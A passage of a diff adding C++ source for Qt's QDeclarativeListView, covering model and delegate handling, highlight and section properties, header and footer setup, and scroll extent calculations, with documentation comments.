+ QDeclarativeVisualModel *oldModel = d->model;
+ d->model = 0;
+ d->setPosition(0);
+ d->modelVariant = model;
+ QObject *object = qvariant_cast<QObject*>(model);
+ QDeclarativeVisualModel *vim = 0;
+ if (object && (vim = qobject_cast<QDeclarativeVisualModel *>(object))) {
+ if (d->ownModel) {
+ delete oldModel;
+ d->ownModel = false;
+ }
+ d->model = vim;
+ } else {
+ if (!d->ownModel) {
+ d->model = new QDeclarativeVisualDataModel(qmlContext(this), this);
+ d->ownModel = true;
+ } else {
+ d->model = oldModel;
+ }
+ if (QDeclarativeVisualDataModel *dataModel = qobject_cast<QDeclarativeVisualDataModel*>(d->model))
+ dataModel->setModel(model);
+ }
+ if (d->model) {
+ d->bufferMode = QDeclarativeListViewPrivate::BufferBefore | QDeclarativeListViewPrivate::BufferAfter;
+ if (isComponentComplete()) {
+ updateSections();
+ refill();
+ if ((d->currentIndex >= d->model->count() || d->currentIndex < 0) && !d->currentIndexCleared) {
+ setCurrentIndex(0);
+ } else {
+ d->moveReason = QDeclarativeListViewPrivate::SetIndex;
+ d->updateCurrent(d->currentIndex);
+ if (d->highlight && d->currentItem) {
+ if (d->autoHighlight)
+ d->highlight->setPosition(d->currentItem->position());
+ d->updateTrackedItem();
+ }
+ }
+ d->updateViewport();
+ }
+ connect(d->model, SIGNAL(itemsInserted(int,int)), this, SLOT(itemsInserted(int,int)));
+ connect(d->model, SIGNAL(itemsRemoved(int,int)), this, SLOT(itemsRemoved(int,int)));
+ connect(d->model, SIGNAL(itemsMoved(int,int,int)), this, SLOT(itemsMoved(int,int,int)));
+ connect(d->model, SIGNAL(itemsChanged(int,int)), this, SLOT(itemsChanged(int,int)));
+ connect(d->model, SIGNAL(modelReset()), this, SLOT(modelReset()));
+ connect(d->model, SIGNAL(createdItem(int,QDeclarativeItem*)), this, SLOT(createdItem(int,QDeclarativeItem*)));
+ connect(d->model, SIGNAL(destroyingItem(QDeclarativeItem*)), this, SLOT(destroyingItem(QDeclarativeItem*)));
+ emit countChanged();
+ }
+ emit modelChanged();
+}
+
+/*!
+ \qmlproperty Component ListView::delegate
+
+ The delegate provides a template defining each item instantiated by the view.
+ The index is exposed as an accessible \c index property. Properties of the
+ model are also available depending upon the type of \l {qmlmodels}{Data Model}.
+
+ The number of elements in the delegate has a direct effect on the
+ flicking performance of the view. If at all possible, place functionality
+ that is not needed for the normal display of the delegate in a \l Loader which
+ can load additional elements when needed.
+
+ The ListView will lay out the items based on the size of the root item
+ in the delegate.
+
+ It is recommended that the delagate's size be a whole number to avoid sub-pixel
+ alignment of items.
+
+ \note Delegates are instantiated as needed and may be destroyed at any time.
+ State should \e never be stored in a delegate.
+*/
+QDeclarativeComponent *QDeclarativeListView::delegate() const
+{
+ Q_D(const QDeclarativeListView);
+ if (d->model) {
+ if (QDeclarativeVisualDataModel *dataModel = qobject_cast<QDeclarativeVisualDataModel*>(d->model))
+ return dataModel->delegate();
+ }
+
+ return 0;
+}
+
+void QDeclarativeListView::setDelegate(QDeclarativeComponent *delegate)
+{
+ Q_D(QDeclarativeListView);
+ if (delegate == this->delegate())
+ return;
+ if (!d->ownModel) {
+ d->model = new QDeclarativeVisualDataModel(qmlContext(this));
+ d->ownModel = true;
+ }
+ if (QDeclarativeVisualDataModel *dataModel = qobject_cast<QDeclarativeVisualDataModel*>(d->model)) {
+ int oldCount = dataModel->count();
+ dataModel->setDelegate(delegate);
+ if (isComponentComplete()) {
+ for (int i = 0; i < d->visibleItems.count(); ++i)
+ d->releaseItem(d->visibleItems.at(i));
+ d->visibleItems.clear();
+ d->releaseItem(d->currentItem);
+ d->currentItem = 0;
+ updateSections();
+ refill();
+ d->moveReason = QDeclarativeListViewPrivate::SetIndex;
+ d->updateCurrent(d->currentIndex);
+ if (d->highlight && d->currentItem) {
+ if (d->autoHighlight)
+ d->highlight->setPosition(d->currentItem->position());
+ d->updateTrackedItem();
+ }
+ d->updateViewport();
+ }
+ if (oldCount != dataModel->count())
+ emit countChanged();
+ }
+ emit delegateChanged();
+}
+
+/*!
+ \qmlproperty int ListView::currentIndex
+ \qmlproperty Item ListView::currentItem
+
+ The \c currentIndex property holds the index of the current item, and
+ \c currentItem holds the current item. Setting the currentIndex to -1
+ will clear the highlight and set currentItem to null.
+
+ If highlightFollowsCurrentItem is \c true, setting either of these
+ properties will smoothly scroll the ListView so that the current
+ item becomes visible.
+
+ Note that the position of the current item
+ may only be approximate until it becomes visible in the view.
+*/
+int QDeclarativeListView::currentIndex() const
+{
+ Q_D(const QDeclarativeListView);
+ return d->currentIndex;
+}
+
+void QDeclarativeListView::setCurrentIndex(int index)
+{
+ Q_D(QDeclarativeListView);
+ if (d->requestedIndex >= 0) // currently creating item
+ return;
+ d->currentIndexCleared = (index == -1);
+ if (index == d->currentIndex)
+ return;
+ if (isComponentComplete() && d->isValid()) {
+ if (d->layoutScheduled)
+ d->layout();
+ d->moveReason = QDeclarativeListViewPrivate::SetIndex;
+ d->updateCurrent(index);
+ } else if (d->currentIndex != index) {
+ d->currentIndex = index;
+ emit currentIndexChanged();
+ }
+}
+
+QDeclarativeItem *QDeclarativeListView::currentItem()
+{
+ Q_D(QDeclarativeListView);
+ if (!d->currentItem)
+ return 0;
+ return d->currentItem->item;
+}
+
+/*!
+ \qmlproperty Item ListView::highlightItem
+
+ This holds the highlight item created from the \l highlight component.
+
+ The \c highlightItem is managed by the view unless
+ \l highlightFollowsCurrentItem is set to false.
+
+ \sa highlight, highlightFollowsCurrentItem
+*/
+QDeclarativeItem *QDeclarativeListView::highlightItem()
+{
+ Q_D(QDeclarativeListView);
+ if (!d->highlight)
+ return 0;
+ return d->highlight->item;
+}
+
+/*!
+ \qmlproperty int ListView::count
+ This property holds the number of items in the view.
+*/
+int QDeclarativeListView::count() const
+{
+ Q_D(const QDeclarativeListView);
+ if (d->model)
+ return d->model->count();
+ return 0;
+}
+
+/*!
+ \qmlproperty Component ListView::highlight
+ This property holds the component to use as the highlight.
+
+ An instance of the highlight component is created for each list.
+ The geometry of the resulting component instance is managed by the list
+ so as to stay with the current item, unless the highlightFollowsCurrentItem
+ property is false.
+
+ \sa highlightItem, highlightFollowsCurrentItem, {Models and Views: ListView Examples}{ListView examples}
+*/
+QDeclarativeComponent *QDeclarativeListView::highlight() const
+{
+ Q_D(const QDeclarativeListView);
+ return d->highlightComponent;
+}
+
+void QDeclarativeListView::setHighlight(QDeclarativeComponent *highlight)
+{
+ Q_D(QDeclarativeListView);
+ if (highlight != d->highlightComponent) {
+ d->highlightComponent = highlight;
+ d->createHighlight();
+ if (d->currentItem)
+ d->updateHighlight();
+ emit highlightChanged();
+ }
+}
+
+/*!
+ \qmlproperty bool ListView::highlightFollowsCurrentItem
+ This property holds whether the highlight is managed by the view.
+
+ If this property is true (the default value), the highlight is moved smoothly
+ to follow the current item. Otherwise, the
+ highlight is not moved by the view, and any movement must be implemented
+ by the highlight.
+
+ Here is a highlight with its motion defined by a \l {SpringAnimation} item:
+
+ \snippet doc/src/snippets/declarative/listview/listview.qml highlightFollowsCurrentItem
+
+ Note that the highlight animation also affects the way that the view
+ is scrolled. This is because the view moves to maintain the
+ highlight within the preferred highlight range (or visible viewport).
+
+ \sa highlight, highlightMoveSpeed
+*/
+bool QDeclarativeListView::highlightFollowsCurrentItem() const
+{
+ Q_D(const QDeclarativeListView);
+ return d->autoHighlight;
+}
+
+void QDeclarativeListView::setHighlightFollowsCurrentItem(bool autoHighlight)
+{
+ Q_D(QDeclarativeListView);
+ if (d->autoHighlight != autoHighlight) {
+ d->autoHighlight = autoHighlight;
+ if (autoHighlight) {
+ d->updateHighlight();
+ } else {
+ if (d->highlightPosAnimator)
+ d->highlightPosAnimator->stop();
+ if (d->highlightSizeAnimator)
+ d->highlightSizeAnimator->stop();
+ }
+ emit highlightFollowsCurrentItemChanged();
+ }
+}
+
+//###Possibly rename these properties, since they are very useful even without a highlight?
+/*!
+ \qmlproperty real ListView::preferredHighlightBegin
+ \qmlproperty real ListView::preferredHighlightEnd
+ \qmlproperty enumeration ListView::highlightRangeMode
+
+ These properties define the preferred range of the highlight (for the current item)
+ within the view. The \c preferredHighlightBegin value must be less than the
+ \c preferredHighlightEnd value.
+
+ These properties affect the position of the current item when the list is scrolled.
+ For example, if the currently selected item should stay in the middle of the
+ list when the view is scrolled, set the \c preferredHighlightBegin and
+ \c preferredHighlightEnd values to the top and bottom coordinates of where the middle
+ item would be. If the \c currentItem is changed programmatically, the list will
+ automatically scroll so that the current item is in the middle of the view.
+ Furthermore, the behavior of the current item index will occur whether or not a
+ highlight exists.
+
+ Valid values for \c highlightRangeMode are:
+
+ \list
+ \o ListView.ApplyRange - the view attempts to maintain the highlight within the range.
+ However, the highlight can move outside of the range at the ends of the list or due
+ to mouse interaction.
+ \o ListView.StrictlyEnforceRange - the highlight never moves outside of the range.
+ The current item changes if a keyboard or mouse action would cause the highlight to move
+ outside of the range.
+ \o ListView.NoHighlightRange - this is the default value.
+ \endlist
+*/
+qreal QDeclarativeListView::preferredHighlightBegin() const
+{
+ Q_D(const QDeclarativeListView);
+ return d->highlightRangeStart;
+}
+
+void QDeclarativeListView::setPreferredHighlightBegin(qreal start)
+{
+ Q_D(QDeclarativeListView);
+ d->highlightRangeStartValid = true;
+ if (d->highlightRangeStart == start)
+ return;
+ d->highlightRangeStart = start;
+ d->haveHighlightRange = d->highlightRange != NoHighlightRange && d->highlightRangeStart <= d->highlightRangeEnd;
+ emit preferredHighlightBeginChanged();
+}
+
+void QDeclarativeListView::resetPreferredHighlightBegin()
+{
+ Q_D(QDeclarativeListView);
+ d->highlightRangeStartValid = false;
+ if (d->highlightRangeStart == 0)
+ return;
+ d->highlightRangeStart = 0;
+ emit preferredHighlightBeginChanged();
+}
+
+qreal QDeclarativeListView::preferredHighlightEnd() const
+{
+ Q_D(const QDeclarativeListView);
+ return d->highlightRangeEnd;
+}
+
+void QDeclarativeListView::setPreferredHighlightEnd(qreal end)
+{
+ Q_D(QDeclarativeListView);
+ d->highlightRangeEndValid = true;
+ if (d->highlightRangeEnd == end)
+ return;
+ d->highlightRangeEnd = end;
+ d->haveHighlightRange = d->highlightRange != NoHighlightRange && d->highlightRangeStart <= d->highlightRangeEnd;
+ emit preferredHighlightEndChanged();
+}
+
+void QDeclarativeListView::resetPreferredHighlightEnd()
+{
+ Q_D(QDeclarativeListView);
+ d->highlightRangeEndValid = false;
+ if (d->highlightRangeEnd == 0)
+ return;
+ d->highlightRangeEnd = 0;
+ emit preferredHighlightEndChanged();
+}
+
+QDeclarativeListView::HighlightRangeMode QDeclarativeListView::highlightRangeMode() const
+{
+ Q_D(const QDeclarativeListView);
+ return d->highlightRange;
+}
+
+void QDeclarativeListView::setHighlightRangeMode(HighlightRangeMode mode)
+{
+ Q_D(QDeclarativeListView);
+ if (d->highlightRange == mode)
+ return;
+ d->highlightRange = mode;
+ d->haveHighlightRange = d->highlightRange != NoHighlightRange && d->highlightRangeStart <= d->highlightRangeEnd;
+ emit highlightRangeModeChanged();
+}
+
+/*!
+ \qmlproperty real ListView::spacing
+
+ This property holds the spacing between items.
+
+ The default value is 0.
+*/
+qreal QDeclarativeListView::spacing() const
+{
+ Q_D(const QDeclarativeListView);
+ return d->spacing;
+}
+
+void QDeclarativeListView::setSpacing(qreal spacing)
+{
+ Q_D(QDeclarativeListView);
+ if (spacing != d->spacing) {
+ d->spacing = spacing;
+ d->layout();
+ emit spacingChanged();
+ }
+}
+
+/*!
+ \qmlproperty enumeration ListView::orientation
+ This property holds the orientation of the list.
+
+ Possible values:
+
+ \list
+ \o ListView.Horizontal - Items are laid out horizontally
+ \o ListView.Vertical (default) - Items are laid out vertically
+ \endlist
+
+ \table
+ \row
+ \o Horizontal orientation:
+ \image ListViewHorizontal.png
+
+ \row
+ \o Vertical orientation:
+ \image listview-highlight.png
+ \endtable
+*/
+QDeclarativeListView::Orientation QDeclarativeListView::orientation() const
+{
+ Q_D(const QDeclarativeListView);
+ return d->orient;
+}
+
+void QDeclarativeListView::setOrientation(QDeclarativeListView::Orientation orientation)
+{
+ Q_D(QDeclarativeListView);
+ if (d->orient != orientation) {
+ d->orient = orientation;
+ if (d->orient == QDeclarativeListView::Vertical) {
+ setContentWidth(-1);
+ setFlickableDirection(VerticalFlick);
+ setContentX(0);
+ } else {
+ setContentHeight(-1);
+ setFlickableDirection(HorizontalFlick);
+ setContentY(0);
+ }
+ d->regenerate();
+ emit orientationChanged();
+ }
+}
+
+/*!
+ \qmlproperty enumeration ListView::layoutDirection
+ This property holds the layout direction of the horizontal list.
+
+ Possible values:
+
+ \list
+ \o Qt.LeftToRight (default) - Items will be laid out from left to right.
+ \o Qt.RightToLeft - Items will be laid out from right to let.
+ \endlist
+
+ When using the attached property \l {LayoutMirroring::enabled} for locale layouts,
+ the layout direction of the horizontal list will be mirrored. However, the actual property
+ \c layoutDirection will remain unchanged. You can use the property
+ \l {LayoutMirroring::enabled} to determine whether the direction has been mirrored.
+
+ \sa {LayoutMirroring}{LayoutMirroring}
+*/
+
+Qt::LayoutDirection QDeclarativeListView::layoutDirection() const
+{
+ Q_D(const QDeclarativeListView);
+ return d->layoutDirection;
+}
+
+void QDeclarativeListView::setLayoutDirection(Qt::LayoutDirection layoutDirection)
+{
+ Q_D(QDeclarativeListView);
+ if (d->layoutDirection != layoutDirection) {
+ d->layoutDirection = layoutDirection;
+ d->regenerate();
+ emit layoutDirectionChanged();
+ }
+}
+
+Qt::LayoutDirection QDeclarativeListView::effectiveLayoutDirection() const
+{
+ Q_D(const QDeclarativeListView);
+ if (d->effectiveLayoutMirror)
+ return d->layoutDirection == Qt::RightToLeft ? Qt::LeftToRight : Qt::RightToLeft;
+ else
+ return d->layoutDirection;
+}
+
+/*!
+ \qmlproperty bool ListView::keyNavigationWraps
+ This property holds whether the list wraps key navigation.
+
+ If this is true, key navigation that would move the current item selection
+ past the end of the list instead wraps around and moves the selection to
+ the start of the list, and vice-versa.
+
+ By default, key navigation is not wrapped.
+*/
+bool QDeclarativeListView::isWrapEnabled() const
+{
+ Q_D(const QDeclarativeListView);
+ return d->wrap;
+}
+
+void QDeclarativeListView::setWrapEnabled(bool wrap)
+{
+ Q_D(QDeclarativeListView);
+ if (d->wrap == wrap)
+ return;
+ d->wrap = wrap;
+ emit keyNavigationWrapsChanged();
+}
+
+/*!
+ \qmlproperty int ListView::cacheBuffer
+ This property determines whether delegates are retained outside the
+ visible area of the view.
+
+ If this value is non-zero, the view keeps as many delegates
+ instantiated as it can fit within the buffer specified. For example,
+ if in a vertical view the delegate is 20 pixels high and \c cacheBuffer is
+ set to 40, then up to 2 delegates above and 2 delegates below the visible
+ area may be retained.
+
+ Note that cacheBuffer is not a pixel buffer - it only maintains additional
+ instantiated delegates.
+
+ Setting this value can improve the smoothness of scrolling behavior at the expense
+ of additional memory usage. It is not a substitute for creating efficient
+ delegates; the fewer elements in a delegate, the faster a view can be
+ scrolled.
+*/
+int QDeclarativeListView::cacheBuffer() const
+{
+ Q_D(const QDeclarativeListView);
+ return d->buffer;
+}
+
+void QDeclarativeListView::setCacheBuffer(int b)
+{
+ Q_D(QDeclarativeListView);
+ if (d->buffer != b) {
+ d->buffer = b;
+ if (isComponentComplete()) {
+ d->bufferMode = QDeclarativeListViewPrivate::BufferBefore | QDeclarativeListViewPrivate::BufferAfter;
+ refill();
+ }
+ emit cacheBufferChanged();
+ }
+}
+
+/*!
+ \qmlproperty string ListView::section.property
+ \qmlproperty enumeration ListView::section.criteria
+ \qmlproperty Component ListView::section.delegate
+
+ These properties hold the expression to be evaluated for the \l section attached property.
+
+ The \l section attached property enables a ListView to be visually
+ separated into different parts. These properties determine how sections
+ are created.
+
+ \c section.property holds the name of the property that is the basis
+ of each section.
+
+ \c section.criteria holds the criteria for forming each section based on
+ \c section.property. This value can be one of:
+
+ \list
+ \o ViewSection.FullString (default) - sections are created based on the
+ \c section.property value.
+ \o ViewSection.FirstCharacter - sections are created based on the first
+ character of the \c section.property value (for example, 'A', 'B', 'C'
+ sections, etc. for an address book)
+ \endlist
+
+ \c section.delegate holds the delegate component for each section.
+
+ Each item in the list has attached properties named \c ListView.section,
+ \c ListView.previousSection and \c ListView.nextSection. These may be
+ used to place a section header for related items.
+
+ For example, here is a ListView that displays a list of animals, separated
+ into sections. Each item in the ListView is placed in a different section
+ depending on the "size" property of the model item. The \c sectionHeading
+ delegate component provides the light blue bar that marks the beginning of
+ each section.
+
+
+ \snippet examples/declarative/modelviews/listview/sections.qml 0
+
+ \image qml-listview-sections-example.png
+
+ \note Adding sections to a ListView does not automatically re-order the
+ list items by the section criteria.
+ If the model is not ordered by section, then it is possible that
+ the sections created will not be unique; each boundary between
+ differing sections will result in a section header being created
+ even if that section exists elsewhere.
+
+ \sa {Models and Views: ListView Examples}{ListView examples}
+*/
+QDeclarativeViewSection *QDeclarativeListView::sectionCriteria()
+{
+ Q_D(QDeclarativeListView);
+ if (!d->sectionCriteria) {
+ d->sectionCriteria = new QDeclarativeViewSection(this);
+ connect(d->sectionCriteria, SIGNAL(propertyChanged()), this, SLOT(updateSections()));
+ }
+ return d->sectionCriteria;
+}
+
+/*!
+ \qmlproperty string ListView::currentSection
+ This property holds the section that is currently at the beginning of the view.
+*/
+QString QDeclarativeListView::currentSection() const
+{
+ Q_D(const QDeclarativeListView);
+ return d->currentSection;
+}
+
+/*!
+ \qmlproperty real ListView::highlightMoveSpeed
+ \qmlproperty int ListView::highlightMoveDuration
+ \qmlproperty real ListView::highlightResizeSpeed
+ \qmlproperty int ListView::highlightResizeDuration
+
+ These properties hold the move and resize animation speed of the highlight delegate.
+
+ \l highlightFollowsCurrentItem must be true for these properties
+ to have effect.
+
+ The default value for the speed properties is 400 pixels/second.
+ The default value for the duration properties is -1, i.e. the
+ highlight will take as much time as necessary to move at the set speed.
+
+ These properties have the same characteristics as a SmoothedAnimation.
+
+ \sa highlightFollowsCurrentItem
+*/
+qreal QDeclarativeListView::highlightMoveSpeed() const
+{
+ Q_D(const QDeclarativeListView);\
+ return d->highlightMoveSpeed;
+}
+
+void QDeclarativeListView::setHighlightMoveSpeed(qreal speed)
+{
+ Q_D(QDeclarativeListView);\
+ if (d->highlightMoveSpeed != speed) {
+ d->highlightMoveSpeed = speed;
+ if (d->highlightPosAnimator)
+ d->highlightPosAnimator->velocity = d->highlightMoveSpeed;
+ emit highlightMoveSpeedChanged();
+ }
+}
+
+int QDeclarativeListView::highlightMoveDuration() const
+{
+ Q_D(const QDeclarativeListView);
+ return d->highlightMoveDuration;
+}
+
+void QDeclarativeListView::setHighlightMoveDuration(int duration)
+{
+ Q_D(QDeclarativeListView);\
+ if (d->highlightMoveDuration != duration) {
+ d->highlightMoveDuration = duration;
+ if (d->highlightPosAnimator)
+ d->highlightPosAnimator->userDuration = d->highlightMoveDuration;
+ emit highlightMoveDurationChanged();
+ }
+}
+
+qreal QDeclarativeListView::highlightResizeSpeed() const
+{
+ Q_D(const QDeclarativeListView);\
+ return d->highlightResizeSpeed;
+}
+
+void QDeclarativeListView::setHighlightResizeSpeed(qreal speed)
+{
+ Q_D(QDeclarativeListView);\
+ if (d->highlightResizeSpeed != speed) {
+ d->highlightResizeSpeed = speed;
+ if (d->highlightSizeAnimator)
+ d->highlightSizeAnimator->velocity = d->highlightResizeSpeed;
+ emit highlightResizeSpeedChanged();
+ }
+}
+
+int QDeclarativeListView::highlightResizeDuration() const
+{
+ Q_D(const QDeclarativeListView);
+ return d->highlightResizeDuration;
+}
+
+void QDeclarativeListView::setHighlightResizeDuration(int duration)
+{
+ Q_D(QDeclarativeListView);\
+ if (d->highlightResizeDuration != duration) {
+ d->highlightResizeDuration = duration;
+ if (d->highlightSizeAnimator)
+ d->highlightSizeAnimator->userDuration = d->highlightResizeDuration;
+ emit highlightResizeDurationChanged();
+ }
+}
+
+/*!
+ \qmlproperty enumeration ListView::snapMode
+
+ This property determines how the view scrolling will settle following a drag or flick.
+ The possible values are:
+
+ \list
+ \o ListView.NoSnap (default) - the view stops anywhere within the visible area.
+ \o ListView.SnapToItem - the view settles with an item aligned with the start of
+ the view.
+ \o ListView.SnapOneItem - the view settles no more than one item away from the first
+ visible item at the time the mouse button is released. This mode is particularly
+ useful for moving one page at a time.
+ \endlist
+
+ \c snapMode does not affect the \l currentIndex. To update the
+ \l currentIndex as the list is moved, set \l highlightRangeMode
+ to \c ListView.StrictlyEnforceRange.
+
+ \sa highlightRangeMode
+*/
+QDeclarativeListView::SnapMode QDeclarativeListView::snapMode() const
+{
+ Q_D(const QDeclarativeListView);
+ return d->snapMode;
+}
+
+void QDeclarativeListView::setSnapMode(SnapMode mode)
+{
+ Q_D(QDeclarativeListView);
+ if (d->snapMode != mode) {
+ d->snapMode = mode;
+ emit snapModeChanged();
+ }
+}
+
+/*!
+ \qmlproperty Component ListView::footer
+ This property holds the component to use as the footer.
+
+ An instance of the footer component is created for each view. The
+ footer is positioned at the end of the view, after any items.
+
+ \sa header
+*/
+QDeclarativeComponent *QDeclarativeListView::footer() const
+{
+ Q_D(const QDeclarativeListView);
+ return d->footerComponent;
+}
+
+void QDeclarativeListView::setFooter(QDeclarativeComponent *footer)
+{
+ Q_D(QDeclarativeListView);
+ if (d->footerComponent != footer) {
+ if (d->footer) {
+ if (scene())
+ scene()->removeItem(d->footer->item);
+ d->footer->item->deleteLater();
+ delete d->footer;
+ d->footer = 0;
+ }
+ d->footerComponent = footer;
+ d->minExtentDirty = true;
+ d->maxExtentDirty = true;
+ if (isComponentComplete()) {
+ d->updateFooter();
+ d->updateViewport();
+ d->fixupPosition();
+ }
+ emit footerChanged();
+ }
+}
+
+/*!
+ \qmlproperty Component ListView::header
+ This property holds the component to use as the header.
+
+ An instance of the header component is created for each view. The
+ header is positioned at the beginning of the view, before any items.
+
+ \sa footer
+*/
+QDeclarativeComponent *QDeclarativeListView::header() const
+{
+ Q_D(const QDeclarativeListView);
+ return d->headerComponent;
+}
+
+void QDeclarativeListView::setHeader(QDeclarativeComponent *header)
+{
+ Q_D(QDeclarativeListView);
+ if (d->headerComponent != header) {
+ if (d->header) {
+ if (scene())
+ scene()->removeItem(d->header->item);
+ d->header->item->deleteLater();
+ delete d->header;
+ d->header = 0;
+ }
+ d->headerComponent = header;
+ d->minExtentDirty = true;
+ d->maxExtentDirty = true;
+ if (isComponentComplete()) {
+ d->updateHeader();
+ d->updateFooter();
+ d->updateViewport();
+ d->fixupPosition();
+ }
+ emit headerChanged();
+ }
+}
+
+void QDeclarativeListView::setContentX(qreal pos)
+{
+ Q_D(QDeclarativeListView);
+ // Positioning the view manually should override any current movement state
+ d->moveReason = QDeclarativeListViewPrivate::Other;
+ QDeclarativeFlickable::setContentX(pos);
+}
+
+void QDeclarativeListView::setContentY(qreal pos)
+{
+ Q_D(QDeclarativeListView);
+ // Positioning the view manually should override any current movement state
+ d->moveReason = QDeclarativeListViewPrivate::Other;
+ QDeclarativeFlickable::setContentY(pos);
+}
+
+bool QDeclarativeListView::event(QEvent *event)
+{
+ Q_D(QDeclarativeListView);
+ if (event->type() == QEvent::User) {
+ if (d->layoutScheduled)
+ d->layout();
+ return true;
+ }
+
+ return QDeclarativeFlickable::event(event);
+}
+
+void QDeclarativeListView::viewportMoved()
+{
+ Q_D(QDeclarativeListView);
+ QDeclarativeFlickable::viewportMoved();
+ if (!d->itemCount)
+ return;
+ // Recursion can occur due to refill changing the content size.
+ if (d->inViewportMoved)
+ return;
+ d->inViewportMoved = true;
+ d->lazyRelease = true;
+ refill();
+ if (d->hData.flicking || d->vData.flicking || d->hData.moving || d->vData.moving)
+ d->moveReason = QDeclarativeListViewPrivate::Mouse;
+ if (d->moveReason != QDeclarativeListViewPrivate::SetIndex) {
+ if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange && d->highlight) {
+ // reposition highlight
+ qreal pos = d->highlight->position();
+ qreal viewPos;
+ qreal highlightStart;
+ qreal highlightEnd;
+ if (d->isRightToLeft()) {
+ // Handle Right-To-Left exceptions
+ viewPos = -d->position()-d->size();
+ highlightStart = d->highlightRangeStartValid ? d->size()-d->highlightRangeEnd : d->highlightRangeStart;
+ highlightEnd = d->highlightRangeEndValid ? d->size()-d->highlightRangeStart : d->highlightRangeEnd;
+ } else {
+ viewPos = d->position();
+ highlightStart = d->highlightRangeStart;
+ highlightEnd = d->highlightRangeEnd;
+ }
+ if (pos > viewPos + highlightEnd - d->highlight->size())
+ pos = viewPos + highlightEnd - d->highlight->size();
+ if (pos < viewPos + highlightStart)
+ pos = viewPos + highlightStart;
+ d->highlightPosAnimator->stop();
+ d->highlight->setPosition(qRound(pos));
+
+ // update current index
+ if (FxListItem *snapItem = d->snapItemAt(d->highlight->position())) {
+ if (snapItem->index >= 0 && snapItem->index != d->currentIndex)
+ d->updateCurrent(snapItem->index);
+ }
+ }
+ }
+
+ if ((d->hData.flicking || d->vData.flicking) && d->correctFlick && !d->inFlickCorrection) {
+ d->inFlickCorrection = true;
+ // Near an end and it seems that the extent has changed?
+ // Recalculate the flick so that we don't end up in an odd position.
+ if (yflick() && !d->vData.inOvershoot) {
+ if (d->vData.velocity > 0) {
+ const qreal minY = minYExtent();
+ if ((minY - d->vData.move.value() < height()/2 || d->vData.flickTarget - d->vData.move.value() < height()/2)
+ && minY != d->vData.flickTarget)
+ d->flickY(-d->vData.smoothVelocity.value());
+ d->bufferMode = QDeclarativeListViewPrivate::BufferBefore;
+ } else if (d->vData.velocity < 0) {
+ const qreal maxY = maxYExtent();
+ if ((d->vData.move.value() - maxY < height()/2 || d->vData.move.value() - d->vData.flickTarget < height()/2)
+ && maxY != d->vData.flickTarget)
+ d->flickY(-d->vData.smoothVelocity.value());
+ d->bufferMode = QDeclarativeListViewPrivate::BufferAfter;
+ }
+ }
+
+ if (xflick() && !d->hData.inOvershoot) {
+ if (d->hData.velocity > 0) {
+ const qreal minX = minXExtent();
+ if ((minX - d->hData.move.value() < width()/2 || d->hData.flickTarget - d->hData.move.value() < width()/2)
+ && minX != d->hData.flickTarget)
+ d->flickX(-d->hData.smoothVelocity.value());
+ d->bufferMode = d->isRightToLeft()
+ ? QDeclarativeListViewPrivate::BufferAfter : QDeclarativeListViewPrivate::BufferBefore;
+ } else if (d->hData.velocity < 0) {
+ const qreal maxX = maxXExtent();
+ if ((d->hData.move.value() - maxX < width()/2 || d->hData.move.value() - d->hData.flickTarget < width()/2)
+ && maxX != d->hData.flickTarget)
+ d->flickX(-d->hData.smoothVelocity.value());
+ d->bufferMode = d->isRightToLeft()
+ ? QDeclarativeListViewPrivate::BufferBefore : QDeclarativeListViewPrivate::BufferAfter;
+ }
+ }
+ d->inFlickCorrection = false;
+ }
+ d->inViewportMoved = false;
+}
+
+qreal QDeclarativeListView::minYExtent() const
+{
+ Q_D(const QDeclarativeListView);
+ if (d->orient == QDeclarativeListView::Horizontal)
+ return QDeclarativeFlickable::minYExtent();
+ if (d->minExtentDirty) {
+ d->minExtent = -d->startPosition();
+ if (d->header && d->visibleItems.count())
+ d->minExtent += d->header->size();
+ if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) {
+ d->minExtent += d->highlightRangeStart;
+ if (d->sectionCriteria) {
+ if (d->visibleItem(0))
+ d->minExtent -= d->visibleItem(0)->sectionSize();
+ }
+ d->minExtent = qMax(d->minExtent, -(d->endPositionAt(0) - d->highlightRangeEnd + 1));
+ }
+ d->minExtentDirty = false;
+ }
+
+ return d->minExtent;
+}
+
+qreal QDeclarativeListView::maxYExtent() const
+{
+ Q_D(const QDeclarativeListView);
+ if (d->orient == QDeclarativeListView::Horizontal)
+ return height();
+ if (d->maxExtentDirty) {
+ if (!d->model || !d->model->count()) {
+ d->maxExtent = d->header ? -d->header->size() : 0;
+ d->maxExtent += height();
+ } else if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) {
+ d->maxExtent = -(d->positionAt(d->model->count()-1) - d->highlightRangeStart);
+ if (d->highlightRangeEnd != d->highlightRangeStart)
+ d->maxExtent = qMin(d->maxExtent, -(d->endPosition() - d->highlightRangeEnd + 1));
+ } else {
+ d->maxExtent = -(d->endPosition() - height() + 1);
+ }
+ if (d->footer)
+ d->maxExtent -= d->footer->size();
+ qreal minY = minYExtent();
+ if (d->maxExtent > minY)
+ d->maxExtent = minY;
+ d->maxExtentDirty = false;
+ }
+ return d->maxExtent;
+}
+
+qreal QDeclarativeListView::minXExtent() const
+{
+ Q_D(const QDeclarativeListView);
+ if (d->orient == QDeclarativeListView::Vertical)
+ return QDeclarativeFlickable::minXExtent();
+ if (d->minExtentDirty) {
+ d->minExtent = -d->startPosition();
+
+ qreal highlightStart;
+ qreal highlightEnd;
+ qreal endPositionFirstItem = 0;
+ if (d->isRightToLeft()) {
+ if (d->model && d->model->count())
+ endPositionFirstItem = d->positionAt(d->model->count()-1);
+ else if (d->header)
+ d->minExtent += d->header->size();
+ highlightStart = d->highlightRangeStartValid
+ ? d->highlightRangeStart - (d->lastPosition()-endPositionFirstItem)
+ : d->size() - (d->lastPosition()-endPositionFirstItem);
+ highlightEnd = d->highlightRangeEndValid ? d->highlightRangeEnd : d->size();
+ if (d->footer)
+ d->minExtent += d->footer->size();
+ qreal maxX = maxXExtent();
+ if (d->minExtent < maxX)
+ d->minExtent = maxX;
+ } else {
+ endPositionFirstItem = d->endPositionAt(0);
+ highlightStart = d->highlightRangeStart;
+ highlightEnd = d->highlightRangeEnd;
+ if (d->header && d->visibleItems.count())
+ d->minExtent += d->header->size();
+ }
+ if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) {
+ d->minExtent += d->isRightToLeft() ? -highlightStart : highlightStart;
+ d->minExtent = qMax(d->minExtent, -(endPositionFirstItem - highlightEnd + 1));
+ }
+ d->minExtentDirty = false;
+ }
+
